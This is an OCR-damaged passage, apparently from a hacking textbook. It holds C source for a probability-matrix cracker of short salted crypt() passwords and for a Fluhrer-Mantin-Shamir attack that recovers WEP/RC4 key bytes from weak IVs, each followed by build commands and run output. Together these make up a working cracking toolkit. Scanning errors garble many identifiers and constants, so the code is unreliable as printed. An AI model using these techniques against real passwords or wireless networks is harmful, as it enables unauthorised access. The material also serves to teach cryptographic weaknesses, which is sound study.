R R IR I e b b b db I b e dh b b dh b b S dh b db b b e Sh b b db Sb b b b db b b 2 Sh b b S b b SR Sh b e dh b b 2 dh b g 4

* *

Author: Jon Erickson <matrix@phiral.com>
Organization: Phiral Research Laboratories

*

*

*

* This is the crack program for the PPM proof of concept
* It uses an existing file called 4char.ppm, which

* contains information regarding all possible 4

* character passwords salted with 'je'. This file can

* be generated with the corresponding ppm gen.c program.
*
\

D R e . S S S .

AR AR R A AR A AR AR KRR AR A AR A AR A AR A AR A AR A AR A Ak A Ak Ak kA Ak kA hk kA hkkh k)%

#define XOPEN SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define HEIGHT 16384

#define WIDTH 1129

#define DEPTH 8

#define SIZE HEIGHT * WIDTH * DEPTH
#define DCM HEIGHT * WIDTH

int singleval (char a)

{

int i, §;

i = (int)a;

if((i >= 406) && (i <= 57))
J =1 - 46;

else 1f ((i >= 65) && (i <= 90))
j =1 - 53;

else if ((i >= 97) && (i <= 122))
j =1 - 59;

return j;

}

int tripleval (char a, char b, char c)
{
return (((singleval(c)%4)*4096)+ (singleval (a)*64)+singleval (b)) ;
}
void merge (char *vectorl, char *vector2)
{
int 1i;
for(i=0; i < WIDTH; i++)
vectorl[i] &= vector2[i]:;
}
int length(char *vector)
{
int i, J, count=0;
for (i=0; 1 < 9025; 1i++)
count += ((vector[ (1/8)]1&(1<<(1i%8)))>>(1%8)):;
return count;

}

int grab(char *vector, int index)

{
char wval;
int a, b;
int word = 0;

val = ((vector[(index/8)]1&(1<<(index%8)))>>(index%8));
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if (!wval)
index = 31337;
return index;
}
void show (char *vector)
{
int i, a, b;
int val; for (i=0; i < 9025; i++)
{
val = grab(vector, 1i);
if(val != 31337)
{
a = val / 95;
b =wval - (a * 95);
printf ("%c%c ",a+32, b+32);
}
}
printf ("\n");
}
main ()
{
char plain[5];
char pass[1l4];
char bin vectorl[WIDTH];
char bin vector2 [WIDTH];
char temp vector [WIDTH];
char prob vectorl[2][9025];
char prob vector2[2][9025];
int a, b, i, j, len, pvl len=0, pv2 len=0;
FILE *fd;

if (! (fd = fopen("4char.ppm", "r")))

{
printf ("Error: Couldn't open PPM file for reading.\n");
exit (1) ;

}

printf ("Input encrypted password (salted with 'je') : ");
scanf ("%s", &pass);

printf ("First 2 characters: \tSaturation\n");

fseek (fd, (DCM*0) +tripleval (pass[2], pass[3], pass[4])*WIDTH,
SEEK_SET) ;
fread(bin vectorl, WIDTH, 1, £d);

len = length(bin vectorl);
printf ("sing length = %d\t%f%\n", len, 1len*100.0/9025.0);

fseek (fd, (DCM*1) +tripleval (pass[4], pass([5], pass[6])*WIDTH,
SEEK_SET) ;

fread(temp vector, WIDTH, 1, fd);

merge (bin vectorl, temp vector);

len = length(bin vectorl);
printf ("dual length = %d\t%f%$\n", len, 1en*100.0/9025.0);

fseek (fd, (DCM*2) +tripleval (pass[6], pass[7], pass([8])*WIDTH,
SEEK_SET);

fread(temp vector, WIDTH, 1, £fd);

merge (bin vectorl, temp vector);

len = length(bin vectorl);
printf ("trip length = $d\t%£%$\n", len, 1len*100.0/9025.0);

fseek (fd, (DCM*3) +tripleval (pass[8], pass[9],pass[10])*WIDTH,
SEEK SET) ;
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fread(temp vector, WIDTH, 1, fd);
merge (bin vectorl, temp vector);

len = length(bin vectorl);

printf ("quad length = $d\t%£f%$\n", len, 1len*100.0/9025.0);
show (bin_ vectorl);

printf ("Last 2 characters: \tSaturation\n");

fseek (fd, (DCM*4) +tripleval (pass[2], pass[3], pass([4])*WIDTH,

SEEK SET) ;

fread(bin vector2, WIDTH, 1, £d);

len = length(bin vector2);
printf ("sing length = %d\t%f%\n", len, 1len*100.0/9025.0);

fseek (fd, (DCM*5) +tripleval (pass[4], pass([5], pass[6])*WIDTH,

SEEK_SET) ;

fread(temp vector, WIDTH, 1, £fd);
merge (bin vector2, temp vector);

len = length(bin vector2);
printf ("dual length = %d\t%f%\n", len, 1len*100.0/9025.0);

fseek (fd, (DCM*6) +tripleval (pass[6], pass[7], pass([8])*WIDTH,

SEEK SET) ;

fread(temp vector, WIDTH, 1, fd);
merge (bin vector2, temp vector);

len = length(bin vector2);
printf ("trip length = $d\t%£%$\n", len, 1len*100.0/9025.0);

fseek (fd, (DCM*7) +tripleval (pass[8], pass[9],pass[10])*WIDTH,

SEEK SET) ;

1YY

fread(temp vector, WIDTH, 1, fd);
merge (bin vector2, temp vector);

len = length(bin vector2);
printf ("quad length = %d\t%f%\n", len, 1len*100.0/9025.0);
show (bin vector2);

printf ("Building probability vectors...\n");
for (1=0; 1 < 9025; 1i++)
{

j = grab(bin vectorl, 1i);
if(j !'= 31337)
{
prob vectorl[0] [pvl len] = 3 / 95;
prob vectorl[1l][pvl len] = j - (prob vectorl[0][pvl len]
pvl len++;
}
}
for (1=0; 1 < 9025; 1i++)
{
J = grab(bin vector2, 1i);
if(3 !'= 31337)
{
prob vector2[0] [pv2 len] j / 95;
prob vector2[1l] [pv2 len] = j - (prob vector2[0][pv2 len]

pv2 len++;

}

* 95);

* 95);

printf ("Cracking remaining %d possibilites..\n", pvl len*pv2 len);

for (i=0; 1 < pvl len; i++)

{
for(j=0; J < pv2 len; Jj++)
{



plain[0] = prob vectorl[0][i] + 32;
plain[l] = prob vectorl[1l][i] + 32;
plain[2] = prob vector2[0]([j] + 32;
plain[3] = prob vector2[1]([j] + 32;
plain[4] = 0;
if (strcmp (crypt (plain, "je"), pass) == 0)
{

printf ("Password : %$s\n", plain);

i = 31337;

3 = 31337;

}
}
if(i < 31337)
printf ("Password wasn't salted with
long.\n");

je' or is not 4 chars

fclose (fd);
}
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$ gcc -03 -o gen ppm gen.c -lcrypt

$ ./gen

Adding ** to 4char.ppm..
Adding !** to 4char.ppm..
Adding "**% to 4char.ppm..

Adding #** to 4char.ppm..
Adding $** to 4char.ppm..
[Output snipped]
$ 1s -1h 4char.ppm
—rTW-Yr—--r-- 1 matrix users 141M Dec 19 18:52 4char.ppm

$
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$ gcc -03 -o crack ppm crack.c -lcrypt
$ perl -e 'Shash = crypt ("h4R%", "je"); print "Shash\n";'
JeMggfIfPNNTE
$ ./crack
Input encrypted password (salted with 'je') : jeMggfIfPNNTE
First 2 characters: Saturation
sing length = 3801 42.116343%
dual length = 1666 18.459834%
trip length = 695 7.700831%
quad length = 287 3.180055%
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Last 2 characters: Saturation

sing length = 3821 42.337950%

dual length = 1677 18.581717%

trip length = 713 7.900277%

quad length = 297 3.290859%
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Building probability vectors...

Cracking remaining 85239 possibilites..
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swap S[i] and S[j];
}
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i = (i + 1) mod 256;

j = (3 + S[i]) mod 256;
swap S[i] and S[j];

t = (S[i] + S[j]) mod 256;
Output the value of S[t];
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Jj =3+ sli] + K[1]

j=0+0 + 3 =3

Swap S[i] and S[7]

K[] = 3152 XXXXX315 2 X X X X X

S[] =3 1204556 78 9 10 11 12 13 14 15
J(SA\f})d;va

i 1

Jj =3+ Sli] + K[1i]

j=3+1 + 15 =3

Swap S[i] and S[7]

K[] = 3152 XXXXX315 2 X X X X X

S[] =3 021455678 9 10 11 12 13 14 15

1 2

Jj =3+ S[i] + K[1]

j=3+2 + 2 =7

Swap S[i] and S[7]

K[] = 3 152 XX XXX 315 2 X X X X X

S[] =3 07145628 9 10 11 12 13 14 15
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=4 +1 + 15 =4
Swap S[i] and S[7]
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S[] =4 023150678 910 11 12 13 14 15
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j =
j =

=3

j + S[i] + KI[i]
15+ 3 + 1 =3

Swap S[i] and S[7]

K]
S[]

4 15 X X X X 4
4 0 15 7 8

91
15 3

Output - j - S[4]= keyl[l]

6

-3 -1 = 2

15
9

9 1 X X X X
10 11 12 13 14 2

9 1 X X XX
10 11 12 13 14 2
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File:fms.c

#include <stdio.h>

int

{

1 AA

RC4 (int *IV, int *key)

int K[256];

int S[256];

int seed[1l6];
int i, 3, k, t;

//seed = IV + key;

for (k=0; k<3; k++)
seed[k] = IVI[k];

for (k=0; k<13; k++)
seed[k+3] = keyl[k];

// -= Key Scheduling Algorithm (KSA) =-

//Initilize the arrays
for (k=0; k<256; k++)

Skl = k;
K[k] = seed[k%16];

(1=0; 1 < 256; 1i++)

i = 0;
j = 0;
i + 1;

=t; // Swap(S[i],

392 32y Ssdo )



}

return S[k];

main (int argc, char *argv[])

{

int K[256];
int S[256];

int IV[3];

int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99,
int seed[1l6];

int N = 256;

int i, 3, k, t, x, A;

int keystream, keybyte;

int max result, max count;
int results[256];

int known j, known S;

if (argc < 2)
{

100,

123,

printf ("Usage: %s <keybyte to attack>\n", argv[0]);

exit (0);

A = atoi(argv[1l]);

if((a > 12) || (A < 0))

{
printf ("keybyte must be from 0 to 12.\n");
exit (0);

}

for (k=0; k
[

< 256; k++)
results[k] = 0;

k

IV[0] = A + 3;
IV[1l] = N 1

’

for (x=0; x < 256; x++)

{
IV[2] = x;

keystream = RC4 (IV, key

o)

43,

213};

);
printf ("Using IV: (%d, %d, %d), first keystream byte is %u\n",

IvV[0], IVI[1], IVI[2], keystream);
printf ("Doing the first %d steps of KSA.. ",

//seed = IV + key;

for (k=0; k<3; k++)
seed[k] = IVI[k];

for (k=0; k<13; k++)
seed[k+3] = keyl[k];

// -= Key Scheduling Algorithm (KSA) =-
//Initialize the arrays
for (k=0; k<256; k++)

S[k] = k;
= seed[k%1l0];

=
~
|

3=0;

for(i=0; 1 < (A + 3); 1i++)

{
J = (3 + S[i] + K[i])%256;
t = S[i];

1AQ

A+3) ;



S[i] = s[J];

S[3] = t;
}
if(3 <2) // If j < 2,
{

printf ("S[0] or S[1]
}
else
{

known J = 3;

known S = S[A+3];

printf ("at KSA iteration #%d,
known j, A+3,
keystream - known J - known_ S;

A+3,
keybyte

while (keybyte < 0)
keybyte
printf ("key[%d]
A, keystream,
results[keybyte]

}
}

max result = -1;
max _count = 0;
for (k=0; k < 256; k++)

{

then S[0] or S[1l] have been disturbed

have been disturbed, discarding..\n");

j=%d and S[%d]=%d\n",
known_ S) ;

keybyte + 256;

prediction = %d - %d - %d = %d\n",
known j, known S, keybyte);
results[keybyte] + 1;

if (max count < resultsl[k])

{

max_count
max result = k;
}
}

printf ("\nFrequency table for key[%d]

k < 32; k++)

for (k=0;
{
for (i=0;

{

i < 8; 1i++)

t = k+1i*32;

if (max_result
printf ("%$3d

else

printf ("%$3d

== t)
%2d* |

}
printf ("\n");

}

printf ("\n[Actual Key]

for(k=0; k < 12; k++)
printf ("sd, ", key[k])
printf ("sd)\n", key[12]

printf ("key[%d]
}
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$ gcc -o fms fms.c

results[k];

(*:

most frequent)\n",

results[t]);

results[t]);

(");

’

)

is probably %d\n", A, max result);

$ ./fms

Usage: ./fms <keybyte to attack>
$ ./fms O

Using IV: (3, 255, 0),

Doing the first 3 steps of KSA..

19

first keystream byte is 7

at KSA iteration #3,

A);

j=5 and S[3]=1



key[0] prediction =7 - 5 -1 =1
Using IV: (3, 255, 1), first keystream byte is 211
Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1
key[0] prediction = 211 - 6 - 1 = 204
Using IV: (3, 255, 2), first keystream byte is 241
Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1
key[0] prediction = 241 - 7 - 1 = 233
[ output trimmed ]
Using IV: (3, 255, 252), first keystream byte is 175
Doing the first 3 steps of KSA.. S[0] or S[1l] have been disturbed,
discarding..
Using IV: (3, 255, 253), first keystream byte is 149
Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1
key[0] prediction = 149 - 2 - 1 = 146
Using IV: (3, 255, 254), first keystream byte is 253
Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2
key[0] prediction = 253 - 3 - 2 = 248
Using IV: (3, 255, 255), first keystream byte is 72
Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1
key[0] prediction = 72 - 4 - 1 = 67
Frequency table for key[0] (* = most frequent)
0O 1 | 323 1] 640 1] 961 | 128 2 | 160 0 | 192 1 | 224 3 |
1 10*] 33 0 | 651 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 |
2 0] 341 1] 660 | 981 ] 1301 | 162 1 | 194 1 | 226 1 |
3 113501 672 | 991 ] 131 1 | 163 0 | 195 0 | 227 1 |
4 0 | 36 0| 68 0 | 100 1 | 132 O | 164 0 | 196 2 | 228 0 |
5 0] 371 690 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |
6 0] 380 ] 701 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |
7 0] 390 | 71 2 | 103 0 | 1355 | 167 3 | 199 2 | 231 0 |
8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |
9 1 | 41 0 | 73 0 | 1050 | 137 2 | 169 1 | 201 3 | 233 2 |
10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |
11 1 | 43 2 | 751 | 107 2 | 1391 | 171 1 | 203 0 | 235 0 |
12 0 | 441 ] 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |
13 2 | 452 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |
14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |
15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |
16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |
17 0 | 49 0 | 81 1 | 113 1 | 1451 | 177 1 | 209 0 | 241 1 |
18 1 | 500 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |
19 2 | 510 ] 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |
200 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |
21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |
22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |
23 2 | 550 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |
24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |
25 2 | 572 1 890 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |
26 0 | 58 0 | 90 0 | 122 O | 154 1 | 186 1 | 218 0 | 250 1 |
27 0 ] 592 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |
28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |
29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |
30 0| 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |
31. 0] 63 0 | 951 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |
[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[0] is probably 1
$
$ ./fms 12
Using IV: (15, 255, 0), first keystream byte is 81

Doing the first 15 steps of KSA.

key[1l2] prediction = 81 - 251 -
Using IV: (15, 255, 1),

Doing the first 15 steps of KSA.
key[1l2] prediction = 80 - 252 -

191

. at KSA iteration

1 =85

first keystream byte is 80

. at KSA iteration

1 = 83

#15,

#15,

=251 and S[15]=1

j=252 and S[15]=1



Using IV: (15, 255, 2), first keystream byte is 159
Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1
key[12] prediction = 159 - 253 - 1 = 16l

[ output trimmed ]

Using IV: (15, 255, 252), first keystream byte is 238

Doing the first 15 steps of KSA.. at KSA iteration #15, =236 and S[15]=1
key[12] prediction = 238 - 236 - 1 =1

Using IV: (15, 255, 253), first keystream byte is 197

Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
key[12] prediction = 197 - 236 - 1 = 216

Using IV: (15, 255, 254), first keystream byte is 238

Doing the first 15 steps of KSA.. at KSA iteration #15, =249 and S[15]=2
key[12] prediction = 238 - 249 - 2 = 243

Using IV: (15, 255, 255), first keystream byte is 176

Doing the first 15 steps of KSA.. at KSA iteration #15, j=250 and S[15]=1

key[12] prediction = 176 - 250 - 1 = 181

Frequency table for key[1l2] (* = most frequent)
01 ] 320 642 ] 96 0 | 128 1 | 160 1 | 192 0 | 224 2 |
121 33116501 972 | 129 1 | 161 1 | 193 0 | 225 0 |
20| 342 ] 662 | 980 | 130 2 | 162 3 | 194 2 | 226 0 |
32113501 672 992 | 131 0 | 163 1 | 1950 | 227 5 |
4 01] 36 0] 680 | 1001 | 132 0 | 164 0 | 196 1 | 228 1 |
53] 3701 693 | 101 2 | 133 0 | 1652 | 197 0 | 229 3 |
61 | 382 ] 702 | 102 0 | 134 0 | 166 2 | 198 0 | 230 2 |
7211390 711 103 0 | 1350 | 167 3 | 1991 | 231 1 |
8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 |
90 | 411 | 73 0 | 1050 | 1371 | 169 1 | 201 1 | 233 1 |
10 2 | 42 2 | 74 0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 |
11 3 | 43 1| 750 | 107 1 | 139 3 | 171 2 | 203 1 | 235 0 |
12 2 | 440 | 76 0 | 108 2 | 140 2 | 172 0 | 204 0 | 236 1 |
130 | 450 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 |
14 1 | 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 |
151 | 47 2 ] 791 | 111 0 | 143 0 | 175 1 | 207 2 | 239 0 |
l6 2 | 48 0 | 80 1 | 112 1 | 144 3 | 176 0 | 208 0 | 240 0 |
17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 | 241 0 |
18 0 | 502 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 |
190 | 510 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 |
20 0 | 521 | 84 1 | 116 4 | 148 0 | 180 1 | 212 1 | 244 1 |
210 | 531 | 85 1 | 117 0 | 149 2 | 181 1 | 213 12*| 245 1 |
221 | 543 ] 86 0 | 118 0 | 150 1 | 182 2 | 214 3 | 246 1 |
23 0 | 553 1 870 | 119 1 | 151 O | 183 0 | 215 0 | 247 0 |
24 0 | 56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 |
251 ] 570 ] 89 0 | 121 2 | 153 0 | 185 2 | 217 1 | 249 0 |
26 1 | 58 0 | 90 1 | 122 0 | 154 1 | 186 0 | 218 1 | 250 2 |
27 2 1 591 ] 911 | 123 0 | 1551 | 187 1 | 219 0 | 251 2 |
282 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 |
29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 |
300 ] 62 1 | 94 0 | 126 O | 158 1 | 190 1 | 222 1 | 254 2 |
310 | 63 0 | 95 1 | 127 O | 159 0 | 191 0 | 223 2 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[12] is probably 213
$
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